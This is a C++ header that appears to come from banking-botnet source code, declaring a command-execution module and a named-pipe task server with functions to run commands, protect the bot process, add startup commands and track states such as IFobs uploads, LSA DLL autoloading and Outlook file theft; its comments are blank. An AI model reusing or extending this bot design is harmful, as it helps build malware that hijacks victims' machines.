#pragma once

#include "core\core.h"
#include "core\pipe.h"

// 

namespace Task
{

bool Init();

//  cmd.
//len   
//      
bool ExecCmd( const char* cmd, int len );

//   ,    
void ProtectBot();
//  ,     
void UnprotectBot();
//     
void AddStartCmd( const char* cmd );

const int GlobalState_IFobsUploaded = 0; //    
const int GlobalState_AutoLsaDll = 1; //     (    secure lsa name_plugin)
const int GlobalState_OutlookFiles = 2; //   
const int GlobalState_Plugin = 3; //  : 0 -  , 1 -  
const int GlobalState_LeftAutorun = 4; //  

}

//   ()
class TaskServer : public PipeServer
{
		char state; //     ,    
		
		virtual int Handler( Pipe::Msg* msgIn, void** msgOut );
		virtual void Disconnect();
		//  state   
		void GetGlobalState( int id );
		//  ,   state  
		void SetGlobalState( int id, char v );

	public:

		enum
		{
			CmdExecTask, // 
			CmdGetGlobalState,	//   
			CmdSetGlobalState,	//   
			CmdAddStartCmd		//     
		};

	public:
		
		TaskServer();
		~TaskServer();

		//  
		bool Reg();
		//     , len  
		static bool ExecTask( const char* namePipe, const char* cmd, int len );
};
